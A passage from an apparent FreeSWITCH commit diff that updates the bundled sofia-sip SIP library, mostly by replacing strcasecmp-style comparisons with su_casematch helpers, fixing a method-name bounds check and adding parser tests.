   else if (namelen == strlen("purpose") &&
-	   !strncasecmp(name, "purpose", namelen)) {
+	   su_casenmatch(name, "purpose", namelen)) {
     ci->ci_purpose = value;
   }
 
@@ -1213,7 +1213,7 @@
     rpid->rpid_privacy = NULL;
   }
 
-#define MATCH(s) (namelen == strlen(#s) && !strncasecmp(name, #s, strlen(#s)))
+#define MATCH(s) (namelen == strlen(#s) && su_casenmatch(name, #s, strlen(#s)))
 
   else if (MATCH(screen))
     rpid->rpid_screen = value;

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sip/sip_feature.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sip/sip_feature.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sip/sip_feature.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -425,21 +425,21 @@
       msg_param_t feature = require->k_items[i++];
 
       for (j = 0; slist[j]; j++)
-	if (strcasecmp(feature, slist[j]) == 0) {
+	if (su_casematch(feature, slist[j])) {
 	  feature = NULL;
 	  break;
 	}
 
       if (feature)
 	for (j = 0; rlist[j]; j++)
-	  if (strcasecmp(feature, rlist[j]) == 0) {
+	  if (su_casematch(feature, rlist[j])) {
 	    feature = NULL;
 	    break;
 	  }
 
       if (feature)
 	for (j = 0; prlist[j]; j++)
-	  if (strcasecmp(feature, prlist[j]) == 0) {
+	  if (su_casematch(feature, prlist[j])) {
 	    feature = NULL;
 	    break;
 	  }
@@ -478,7 +478,7 @@
   for (; supported; supported = supported->k_next)
     if (supported->k_items)
       for (i = 0; supported->k_items[i]; i++)
-	if (strcasecmp(feature, supported->k_items[i]) == 0)
+	if (su_casematch(feature, supported->k_items[i]))
 	  return 1;
 
   return 0;

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sip/sip_parser.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sip/sip_parser.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sip/sip_parser.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -39,6 +39,7 @@
 #define MSG_HDR_T       union sip_header_u
 
 #include <sofia-sip/su_tagarg.h>
+#include <sofia-sip/su_string.h>
 #include "sofia-sip/sip_parser.h"
 #include <sofia-sip/msg_mclass.h>
 
@@ -231,7 +232,7 @@
   char const *result;
   size_t const version_size = sizeof(sip_version_2_0) - 1;
 
-  if (strncasecmp(s, sip_version_2_0, version_size) == 0 &&
+  if (su_casenmatch(s, sip_version_2_0, version_size) &&
       !IS_TOKEN(s[version_size])) {
     result = sip_version_2_0;
     s += version_size;
@@ -243,9 +244,11 @@
     result = s;
 
     l1 = span_token(s);
-    for (n = l1; IS_LWS(s[n]); n++);
+    for (n = l1; IS_LWS(s[n]); n++)
+      {}
     if (s[n] == '/') {
-      for (n++; IS_LWS(s[n]); n++);
+      for (n++; IS_LWS(s[n]); n++)
+        {}
       l2 = span_token(s + n);
       n += l2;
     }
@@ -260,7 +263,7 @@
       s[l1 + 1 + l2] = 0;
 
       /* Compare again with compacted version */
-      if (strcasecmp(s, sip_version_2_0) == 0)
+      if (su_casematch(s, sip_version_2_0))
 	result = sip_version_2_0;
     }
 
@@ -334,7 +337,7 @@
 char const *sip_method_name(sip_method_t method, char const *name)
 {
   const size_t N = sizeof(sip_method_names)/sizeof(sip_method_names[0]);
-  if (method > 0 && (size_t)method <= N)
+  if (method > 0 && (size_t)method < N)
     return sip_method_names[method];
   else if (method == 0)
     return name;
@@ -435,7 +438,7 @@
   *ss = (s + n);
   if (return_name) *return_name = name;
 
-  return code;
+  return (sip_method_t)code;
 }
 
 /** Get method enum corresponding to method name */
@@ -458,11 +461,12 @@
   size_t pn_len, pv_len, pt_len;
   char *s = *ss;
 
-#define TRANSPORT_MATCH(t)					     \
-  (strncasecmp(s+7, t+7, sizeof(t)-8) == 0 && (IS_LWS(s[sizeof(t)])) \
+#define TRANSPORT_MATCH(t) \
+  (su_casenmatch(s + 7, t + 7, (sizeof t) - 8) && \
+   (!s[sizeof(t) - 1] || IS_LWS(s[sizeof(t) - 1]))	\
    && (transport = t, s += sizeof(t) - 1))
 
-  if (strncasecmp(s, "SIP/2.0", 7) != 0 ||
+  if (!su_casenmatch(s, "SIP/2.0", 7) ||
       (!TRANSPORT_MATCH(sip_transport_udp) &&
        !TRANSPORT_MATCH(sip_transport_tcp) &&
        !TRANSPORT_MATCH(sip_transport_sctp) &&
@@ -502,13 +506,13 @@
       pt[pt_len] = '\0';
 
       /* extra whitespace? */
-      if (!strcasecmp(transport, sip_transport_udp))
+      if (su_casematch(transport, sip_transport_udp))
 	transport = sip_transport_udp;
-      else if (!strcasecmp(transport, sip_transport_tcp))
+      else if (su_casematch(transport, sip_transport_tcp))
 	transport = sip_transport_tcp;
-      else if (!strcasecmp(transport, sip_transport_sctp))
+      else if (su_casematch(transport, sip_transport_sctp))
 	transport = sip_transport_sctp;
-      else if (!strcasecmp(transport, sip_transport_tls))
+      else if (su_casematch(transport, sip_transport_tls))
 	transport = sip_transport_tls;
     }
   }
@@ -526,10 +530,10 @@
       transport == sip_transport_tcp ||
       transport == sip_transport_sctp ||
       transport == sip_transport_tls ||
-      strcasecmp(transport, sip_transport_udp) == 0 ||
-      strcasecmp(transport, sip_transport_tcp) == 0 ||
-      strcasecmp(transport, sip_transport_sctp) == 0 ||
-      strcasecmp(transport, sip_transport_tls) == 0)
+      su_casematch(transport, sip_transport_udp) ||
+      su_casematch(transport, sip_transport_tcp) ||
+      su_casematch(transport, sip_transport_sctp) ||
+      su_casematch(transport, sip_transport_tls))
     return 0;
 
   return MSG_STRING_SIZE(transport);
@@ -546,13 +550,13 @@
     *dd = s;
   else if (s == sip_transport_tls)
     *dd = s;
-  else if (strcasecmp(s, sip_transport_udp) == 0)
+  else if (su_casematch(s, sip_transport_udp))
     *dd = sip_transport_udp;
-  else if (strcasecmp(s, sip_transport_tcp) == 0)
+  else if (su_casematch(s, sip_transport_tcp))
     *dd = sip_transport_tcp;
-  else if (strcasecmp(s, sip_transport_sctp) == 0)
+  else if (su_casematch(s, sip_transport_sctp))
     *dd = sip_transport_sctp;
-  else if (strcasecmp(s, sip_transport_tls) == 0)
+  else if (su_casematch(s, sip_transport_tls))
     *dd = sip_transport_tls;
   else
     MSG_STRING_DUP(*pp, *dd, s);

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sip/sip_pref_util.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sip/sip_pref_util.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sip/sip_pref_util.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -67,8 +67,8 @@
 
   if (old_type == sp_init) {
     if (s[0] == '\0' ||
-	strcasecmp(s, "TRUE") == 0 ||
-	strcasecmp(s, "\"TRUE\"") == 0) {
+	su_casematch(s, "TRUE") ||
+	su_casematch(s, "\"TRUE\"")) {
       /* Boolean */
       sp->sp_type = sp_literal;
       sp->sp_literal.spl_value = "TRUE";
@@ -76,8 +76,8 @@
       *return_negation = 0;
       *in_out_s = s + strlen(s);
       return 1;
-    } else if (strcasecmp(s, "FALSE") == 0 ||
-	       strcasecmp(s, "\"FALSE\"") == 0) {
+    } else if (su_casematch(s, "FALSE") ||
+	       su_casematch(s, "\"FALSE\"")) {
       /* Boolean */
       sp->sp_type = sp_literal;
       sp->sp_literal.spl_value = "FALSE";
@@ -86,7 +86,8 @@
       *in_out_s = s + strlen(s);
       return 1;
     } else if (s[0] == '"' && s[1] != '\0') {
-      for (s++; IS_LWS(s[0]); s++);
+      for (s++; IS_LWS(s[0]); s++)
+        {}
     } else
       old_type = sp_error;
   } else if (!s[0]) {
@@ -98,14 +99,16 @@
     return 0;
 
   if ((*return_negation = s[0] == '!'))
-      for (s++; IS_LWS(s[0]); s++);
+      for (s++; IS_LWS(s[0]); s++)
+        {}
 
   if (*s == '#') {
     /* Numeric */
     double n1, n2;
     char s0, *e;
 
-    for (s++; IS_LWS(s[0]); s++);
+    for (s++; IS_LWS(s[0]); s++)
+      {}
 
     s0 = s[0];
 
@@ -143,10 +146,12 @@
     s += n;
   }
 
-  for (; IS_LWS(s[0]); s++);
+  for (; IS_LWS(s[0]); s++)
+    {}
 
   if (s[0] == ',' || (s[0] == '"' && s[1] == '\0'))
-    for (s++; IS_LWS(s[0]); s++);
+    for (s++; IS_LWS(s[0]); s++)
+      {}
   else
     old_type = sp_error;
 
@@ -213,8 +218,8 @@
   case sp_literal:
     return
       a->sp_literal.spl_length == b->sp_literal.spl_length &&
-      strncasecmp(a->sp_literal.spl_value, b->sp_literal.spl_value,
-		  a->sp_literal.spl_length) == 0;
+      su_casenmatch(a->sp_literal.spl_value, b->sp_literal.spl_value,
+		  a->sp_literal.spl_length);
   case sp_string:
     return
       a->sp_string.sps_length == b->sp_string.sps_length &&
@@ -307,7 +312,7 @@
 int sip_is_callerpref(char const *param)
 {
 #define MATCH(s) \
-  (strncasecmp(param + 1, s + 1, strlen(s) - 1) == 0 && \
+  (su_casenmatch(param + 1, s + 1, strlen(s) - 1) && \
    (param[strlen(s)] == '=' || param[strlen(s)] == '\0'))
 
   int xor = 0, base = 0;

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sip/sip_reason.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sip/sip_reason.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sip/sip_reason.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -160,7 +160,7 @@
     re->re_cause = NULL;
     re->re_text = NULL;
   }
-#define MATCH(s) (namelen == strlen(#s) && !strncasecmp(name, #s, strlen(#s)))
+#define MATCH(s) (namelen == strlen(#s) && su_casenmatch(name, #s, strlen(#s)))
 
   else if (MATCH(cause)) {
     re->re_cause = value;

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sip/sip_refer.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sip/sip_refer.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sip/sip_refer.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -289,7 +289,7 @@
   if (name == NULL) {
     b->b_cid = NULL;
   }
-  else if (namelen == strlen("cid") && !strncasecmp(name, "cid", namelen)) {
+  else if (namelen == strlen("cid") && su_casenmatch(name, "cid", namelen)) {
     b->b_cid = value;
   }
 
@@ -425,7 +425,7 @@
     rp->rp_from_tag = NULL;
     rp->rp_early_only = 0;
   }
-#define MATCH(s) (namelen == strlen(#s) && !strncasecmp(name, #s, strlen(#s)))
+#define MATCH(s) (namelen == strlen(#s) && su_casenmatch(name, #s, strlen(#s)))
 
   else if (MATCH(to-tag)) {
     rp->rp_to_tag = value;
@@ -502,8 +502,8 @@
   if (msg_token_d(&s, &rs->rs_value) < 0)
     return -1;
 
-  if (strcasecmp(rs->rs_value, "false") &&
-      strcasecmp(rs->rs_value, "true"))
+  if (!su_casematch(rs->rs_value, "false") &&
+      !su_casematch(rs->rs_value, "true"))
     return -1;
 
   if (*s)

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sip/sip_security.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sip/sip_security.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sip/sip_security.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -128,7 +128,7 @@
  */
 
 msg_hclass_t sip_authorization_class[] =
-SIP_HEADER_CLASS_AUTH(authorization, "Authorization", single);
+SIP_HEADER_CLASS_AUTH(authorization, "Authorization", append);
 
 issize_t sip_authorization_d(su_home_t *home, sip_header_t *h, char *s, isize_t slen)
 {
@@ -309,7 +309,7 @@
  */
 
 msg_hclass_t sip_www_authenticate_class[] =
-SIP_HEADER_CLASS_AUTH(www_authenticate, "WWW-Authenticate", single);
+SIP_HEADER_CLASS_AUTH(www_authenticate, "WWW-Authenticate", append);
 
 issize_t sip_www_authenticate_d(su_home_t *home, sip_header_t *h, char *s, isize_t slen)
 {
@@ -525,7 +525,7 @@
     sa->sa_d_qop = NULL;
     sa->sa_d_ver = NULL;
   }
-#define MATCH(s) (namelen == strlen(#s) && !strncasecmp(name, #s, strlen(#s)))
+#define MATCH(s) (namelen == strlen(#s) && su_casenmatch(name, #s, strlen(#s)))
 
   else if (MATCH(q)) {
     sa->sa_q = value;

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sip/sip_session.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sip/sip_session.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sip/sip_session.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -154,7 +154,7 @@
     x->x_refresher = NULL;
   }
   else if (namelen == strlen("refresher") &&
-	   !strncasecmp(name, "refresher", namelen)) {
+	   su_casenmatch(name, "refresher", namelen)) {
     x->x_refresher = value;
   }
 

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sip/sip_tag_class.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sip/sip_tag_class.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sip/sip_tag_class.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -450,15 +450,15 @@
     if (n == 0)
       break;
 
-    if (n == 4 && strncasecmp(hnv, "body", 4) == 0)
+    if (n == 4 && su_casenmatch(hnv, "body", 4))
       t = siptag_payload, hc = sip_payload_class;
     else {
       for (j = 0; (t = sip_tag_list[j]); j++) {
 	hc = (msg_hclass_t *)sip_tag_list[j]->tt_magic;
-	if (n == 1 && strncasecmp(hnv, hc->hc_short, 1) == 0)
+	if (n == 1 && su_casenmatch(hnv, hc->hc_short, 1))
 	  break;
 	else if (n == (size_t)hc->hc_len &&
-		 strncasecmp(hnv, hc->hc_name, n) == 0)
+		 su_casenmatch(hnv, hc->hc_name, n))
 	  break;
       }
     }

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sip/sip_util.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sip/sip_util.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sip/sip_util.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -39,7 +39,7 @@
 
 #include <sofia-sip/su_alloc.h>
 #include <sofia-sip/su_strlst.h>
-#include <sofia-sip/string0.h>
+#include <sofia-sip/su_string.h>
 
 #include "sofia-sip/sip_parser.h"
 #include <sofia-sip/sip_header.h>
@@ -59,8 +59,7 @@
 #include <limits.h>
 #include <ctype.h>
 
-/**
- * Compare two SIP addresses ( @From or @To headers).
+/**Compare two SIP addresses ( @From or @To headers).
  *
  * @retval nonzero if matching.
  * @retval zero if not matching.
@@ -69,13 +68,13 @@
 {
   return
     (a->a_tag == NULL || b->a_tag == NULL ||
-     strcmp(a->a_tag, b->a_tag) == 0)
+     su_casematch(a->a_tag, b->a_tag))
     &&
-    str0casecmp(a->a_host, b->a_host) == 0
+    su_casematch(a->a_host, b->a_host)
     &&
-    str0cmp(a->a_user, b->a_user) == 0
+    su_strmatch(a->a_user, b->a_user)
     &&
-    str0cmp(a->a_url->url_scheme, b->a_url->url_scheme);
+    su_strmatch(a->a_url->url_scheme, b->a_url->url_scheme);
 }
 
 
@@ -164,7 +163,7 @@
   tp = v->v_protocol;
 
   if (tp == sip_transport_udp ||
-      strcasecmp(tp, sip_transport_udp) == 0)  /* Default is UDP */
+      su_casematch(tp, sip_transport_udp))  /* Default is UDP */
     tp = NULL;
 
   return sip_contact_create_from_via_with_transport(home, v, user, tp);
@@ -253,7 +252,7 @@
     port = NULL;
   }
 
-  if (transport && strncasecmp(transport, "SIP/2.0/", 8) == 0)
+  if (su_casenmatch(transport, "SIP/2.0/", 8))
     transport += 8;
 
   /* Make transport parameter lowercase */
@@ -292,8 +291,8 @@
 
   /* transport name starts with TLS or SIP/2.0/TLS */
   return
-    strncasecmp(transport_name, "TLS", 3) == 0 ||
-    strncasecmp(transport_name, sip_transport_tls, 11) == 0;
+    su_casenmatch(transport_name, "TLS", 3) ||
+    su_casenmatch(transport_name, sip_transport_tls, 11);
 }
 
 /**Perform sanity check on a SIP message
@@ -339,9 +338,10 @@
 
     if (sip->sip_request->rq_method != sip->sip_cseq->cs_method)
       return -1;
+
     if (sip->sip_request->rq_method == sip_method_unknown &&
-	str0casecmp(sip->sip_request->rq_method_name,
-		    sip->sip_cseq->cs_method_name))
+	!su_strmatch(sip->sip_request->rq_method_name,
+		     sip->sip_cseq->cs_method_name))
       return -1;
   }
 
@@ -810,10 +810,10 @@
     if (s == NULL || v == NULL)
       return (s == NULL) - (v == NULL);
 
-    if ((retval = str0cmp(s->sa_mec, v->sa_mec)))
+    if ((retval = su_strcmp(s->sa_mec, v->sa_mec)))
       return retval;
 
-    digest = strcasecmp(s->sa_mec, "Digest") == 0;
+    digest = su_casematch(s->sa_mec, "Digest");
 
     s_params = s->sa_params, v_params = v->sa_params;
 
@@ -828,13 +828,13 @@
 
     for (i = 0, j = 0;; i++, j++) {
       if (digest && v_params[j] &&
-	  strncasecmp(v_params[j], "d-ver=", 6) == 0) {
+	  su_casenmatch(v_params[j], "d-ver=", 6)) {
 	if (return_d_ver)
 	  *return_d_ver = v_params[j] + strlen("d-ver=");
 	j++;
       }
 
-      retval = str0cmp(s_params[i], v_params[j]);
+      retval = su_strcmp(s_params[i], v_params[j]);
 
       if (retval || s_params[i] == NULL || v_params[j] == NULL)
 	break;
@@ -861,7 +861,7 @@
 
   for (s = server; s; s = s->sa_next) {
     for (c = client; c; c = c->sa_next) {
-      if (str0cmp(s->sa_mec, c->sa_mec) == 0)
+      if (su_strmatch(s->sa_mec, c->sa_mec))
 	return c;
     }
   }
@@ -1164,14 +1164,25 @@
     return 0;
 
   case 484: /* Address Incomplete */
-  case 485: /* Ambiguous */
     /** @par 484 Address Incomplete and 485 Ambiguous
 
       Similar to 404 and 410, these
       responses came to a request whose Request-URI was provided by the
       peer in a @Contact header field.  Something has gone fundamentally
       wrong, and the dialog and all of its usages are destroyed.
+
+      Asterisk (v 1.2.7.1) does response with 484 if a client does send a refer
+      with a @ReferTo header to an unknown number.  This is therefore not
+      fundamentally wrong and the dialog should not be destroyed!
     */
+    if (method == sip_method_refer)
+    {
+      *return_graceful_terminate_usage = 0;
+      return 0;
+    }
+
+  case 485: /* Ambiguous */
+
     return terminate_dialog;
 
   case 486: /** @par 486 Busy Here

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sip/sofia-sip/sip_parser.h (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sip/sofia-sip/sip_parser.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sip/sofia-sip/sip_parser.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -60,6 +60,10 @@
 #include <sofia-sip/sip_header.h>
 #endif
 
+#ifndef SOFIA_SIP_SU_STRING_H
+#include <sofia-sip/su_string.h>
+#endif
+
 SOFIA_BEGIN_DECLS
 
 /* ---------------------------------------------------------------------------

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sip/test_date.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sip/test_date.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sip/test_date.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -36,7 +36,7 @@
 #include "config.h"
 
 #include <stdio.h>
-#include <sofia-sip/string0.h>
+#include <sofia-sip/su_string.h>
 #include <stddef.h>
 #include <stdlib.h>
 
@@ -62,7 +62,7 @@
   t = ((31 + 27) * 24) * 60 * 60;
   delta = (365 * 24 + 6) * 60 * 60;
 
-  if (str0cmp(av[1], "-v") == 0)
+  if (su_strmatch(av[1], "-v"))
     verbatim = 1, av++;
 
   if ((s = av[1])) {

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sip/torture_sip.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sip/torture_sip.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sip/torture_sip.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -128,6 +128,7 @@
 
   sip = sip_object(msg);
 
+  TEST_1(sip);
   TEST_1(!sip_alert_info(sip));
   TEST_1(!sip_reply_to(sip));
   TEST_1(!sip_p_asserted_identity(sip));
@@ -710,6 +711,31 @@
   }
 
   {
+    char *input;
+    char const *output = NULL;
+    char udp[] = "sip/2.0/udp";
+    char tcp[] = "sip/2.0/tCp ";
+    char sctp[] = "sip/2.0/sctp\t";
+    char tls[] = "sip/2.0/tls\r";
+
+    input = udp;
+    TEST(sip_transport_d(&input, &output), 0);
+    TEST_S(output, "SIP/2.0/UDP");
+
+    input = tcp;
+    TEST(sip_transport_d(&input, &output), 0);
+    TEST_S(output, "SIP/2.0/TCP");
+
+    input = sctp;
+    TEST(sip_transport_d(&input, &output), 0);
+    TEST_S(output, "SIP/2.0/SCTP");
+
+    input = tls;
+    TEST(sip_transport_d(&input, &output), 0);
+    TEST_S(output, "SIP/2.0/TLS");
+  }
+
+  {
     sip_expires_t *ex;
 
     TEST_1(!sip_expires_make(home, "-12+1"));
@@ -2283,6 +2309,8 @@
   sip_www_authenticate_t *www;
   su_home_t *home;
   char const *s;
+  msg_t *msg; sip_t *sip;
+
   BEGIN();
 
   TEST_1(home = su_home_create());
@@ -2300,6 +2328,29 @@
   TEST_1(strlen(s) >= 128);
 
   su_home_unref(home);
+
+  TEST_1(
+    msg = read_message(
+      MSG_DO_EXTRACT_COPY,
+      "SIP/2.0 401 Unauthorized" "\r\n"
+      "Date: Wed, 07 Jan 2009 22:24:39 GMT" "\r\n"
+      "WWW-Authenticate: Kerberos realm=\"SIP Communications Service\", targetname=\"sip/OCS1.flux.local\", version=3" "\r\n"
+      "WWW-Authenticate: NTLM realm=\"SIP Communications Service\", targetname=\"OCS1.flux.local\", version=3" "\r\n"
+      "From: <sip:192.168.43.1:5069>;epid=1234567890;tag=48BXgr379e85j" "\r\n"
+      "To: <sip:1234@192.168.43.20:5061>;transport=tls;tag=B57737091022903031FF204696B79CC4" "\r\n"
+      "Call-ID: cf12f708-57ac-122c-ad90-6f23d7babf4f" "\r\n"
+      "CSeq: 109565202 REGISTER" "\r\n"
+      "Via: SIP/2.0/TLS 192.168.43.1:5069;branch=z9hG4bK47ZUrFK0v5eQa;received=192.168.43.1;ms-received-port=54059;ms-received-cid=E500" "\r\n"
+      "Content-Length: 0" "\r\n"));
+  TEST_1(sip = sip_object(msg));
+
+  TEST_1(www = sip->sip_www_authenticate);
+  TEST_S(www->au_scheme, "Kerberos");
+  TEST_1(www = www->au_next);
+  TEST_S(www->au_scheme, "NTLM");
+ 
+  msg_destroy(msg);
+
   END();
 }
 

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/soa/Makefile.am (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/soa/Makefile.am	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/soa/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -14,7 +14,8 @@
 			-I$(srcdir)/../url -I../url \
 			-I$(srcdir)/../ipt -I../ipt \
 			-I$(srcdir)/../bnf -I../bnf \
-			-I$(srcdir)/../su -I../su
+			-I$(srcdir)/../su -I../su \
+			-I$(top_srcdir)/s2check
 
 # ----------------------------------------------------------------------
 # Build targets
@@ -39,7 +40,8 @@
 
 COVERAGE_INPUT = 	$(libsoa_la_SOURCES) $(include_sofia_HEADERS)
 
-LDADD = 		libsoa.la \
+test_soa_LDADD = 	$(top_builddir)/s2check/libs2.a \
+			libsoa.la \
 			../sip/libsip.la \
 			../msg/libmsg.la \
 			../url/liburl.la \

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/soa/soa.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/soa/soa.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/soa/soa.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -48,11 +48,12 @@
 #include "sofia-sip/soa_add.h"
 
 #include <sofia-sip/hostdomain.h>
+#include <sofia-sip/bnf.h>
 #include <sofia-sip/su_tagarg.h>
 #include <sofia-sip/su_localinfo.h>
 #include <sofia-sip/su_uniqueid.h>
 
-#include <sofia-sip/string0.h>
+#include <sofia-sip/su_string.h>
 #include <sofia-sip/su_errno.h>
 
 #define NONE ((void *)-1)
@@ -172,7 +173,7 @@
     return su_seterrno(EINVAL);
 
   for (n = soa_namelist; n; n = n->next) {
-    if (strcasecmp(name, n->basename) == 0)
+    if (su_casematch(name, n->basename))
       return 0;
   }
 
@@ -197,7 +198,7 @@
     size_t baselen = strcspn(name, ":/");
 
     for (n = soa_namelist; n; n = n->next) {
-      if (strncasecmp(name, n->basename, baselen) == 0)
+      if (su_casenmatch(name, n->basename, baselen))
 	break;
     }
 
@@ -230,7 +231,7 @@
     size_t baselen = strcspn(name, ":/");
 
     for (n = soa_namelist; n; n = n->next) {
-      if (strncasecmp(name, n->basename, baselen) == 0)
+      if (su_casenmatch(name, n->basename, baselen))
 	break;
     }
     if (n == NULL)
@@ -543,7 +544,7 @@
     || srtp_integrity != (int)ss->ss_srtp_integrity
     ;
 
-  ss->ss_af = af;
+  ss->ss_af = (enum soa_af)af;
 
   ss->ss_rtp_select = rtp_select;
   ss->ss_rtp_sort = rtp_sort;
@@ -553,7 +554,7 @@
   ss->ss_srtp_confidentiality = srtp_confidentiality;
   ss->ss_srtp_integrity = srtp_integrity;
 
-  if (str0casecmp(media_address, ss->ss_address)) {
+  if (!su_casematch(media_address, ss->ss_address)) {
     su_free(ss->ss_home, (void *)ss->ss_address);
     ss->ss_address = su_strdup(ss->ss_home, media_address);
     change_session = 1;
@@ -562,7 +563,7 @@
   if (hold == (char const *)1)
     hold = "*";
 
-  if (str0casecmp(hold, ss->ss_hold)) {
+  if (!su_casematch(hold, ss->ss_hold)) {
     su_free(ss->ss_home, (void *)ss->ss_hold);
     ss->ss_hold = su_strdup(ss->ss_home, hold);
     change_session = 1;
@@ -938,7 +939,7 @@
  *
  * <i>User SDP</i> is used as basis for SDP Offer/Answer negotiation. It can
  * be very minimal template, consisting just m= line containing media name,
- * transport protocol port number and list of supported codecs.
+ * transport protocol, port number and list of supported codecs.
  *
  * The SDP used as an offer or answer (generated by soa_generate_answer() or
  * soa_generate_offer()) is known as <i>local SDP</i> and it is available
@@ -1703,13 +1704,10 @@
 
   (void)completed;
 
-  if (!l_sdp)
-    return -1;
+  ss->ss_offer_sent = 0;
 
-  soa_set_activity(ss, l_sdp->sdp_media, soa_activity_session);
+  soa_set_activity(ss, l_sdp ? l_sdp->sdp_media : NULL, soa_activity_session);
 
-  ss->ss_offer_sent = 0;
-
   return 0;
 }
 
@@ -1924,7 +1922,7 @@
       l = &l_video, r = &r_video;
     else if (m->m_type == sdp_media_image)
       l = &l_image, r = &r_image;
-    else if (strcasecmp(m->m_type_name, "message") == 0)
+    else if (su_casematch(m->m_type_name, "message"))
       l = &l_chat, r = &r_chat;
     else
       continue;
@@ -2027,8 +2025,7 @@
   else if (sdp_str) {
     if (str_len == -1)
       str_len = strlen(sdp_str);
-    new_version = !ssd->ssd_unparsed ||
-      str0ncmp(sdp_str, ssd->ssd_unparsed, str_len + 1) != 0;
+    new_version = !su_strnmatch(sdp_str, ssd->ssd_unparsed, str_len + 1);
   }
   else
     return (void)su_seterrno(EINVAL), -1;
@@ -2170,16 +2167,37 @@
     su_free(ss->ss_home, tbf4);
 }
 
-
 /** Initialize SDP o= line */
 int
 soa_init_sdp_origin(soa_session_t *ss, sdp_origin_t *o, char buffer[64])
 {
-  sdp_connection_t *c;
+  return soa_init_sdp_origin_with_session(ss, o, buffer, NULL);
+}
 
-  if (ss == NULL || o == NULL)
-    return su_seterrno(EFAULT), -1;
 
+/** Check if c= has valid address
+ */
+int
+soa_check_sdp_connection(sdp_connection_t const *c)
+{
+  return c != NULL &&
+    c->c_nettype &&c->c_address &&
+    strcmp(c->c_address, "") &&
+    strcmp(c->c_address, "0.0.0.0") &&
+    strcmp(c->c_address, "::");
+}
+
+
+/** Initialize SDP o= line with values from @a sdp session. */
+int
+soa_init_sdp_origin_with_session(soa_session_t *ss,
+				 sdp_origin_t *o,
+				 char buffer[64],
+				 sdp_session_t const *sdp)
+{
+  if (ss == NULL || o == NULL || buffer == NULL)
+    return su_seterrno(EFAULT);
+
   assert(o->o_address);
 
   if (!o->o_username)
@@ -2193,62 +2211,49 @@
     su_randmem(&o->o_version, sizeof o->o_version);
   o->o_version &= ((unsigned longlong)1 << 63) - 1;
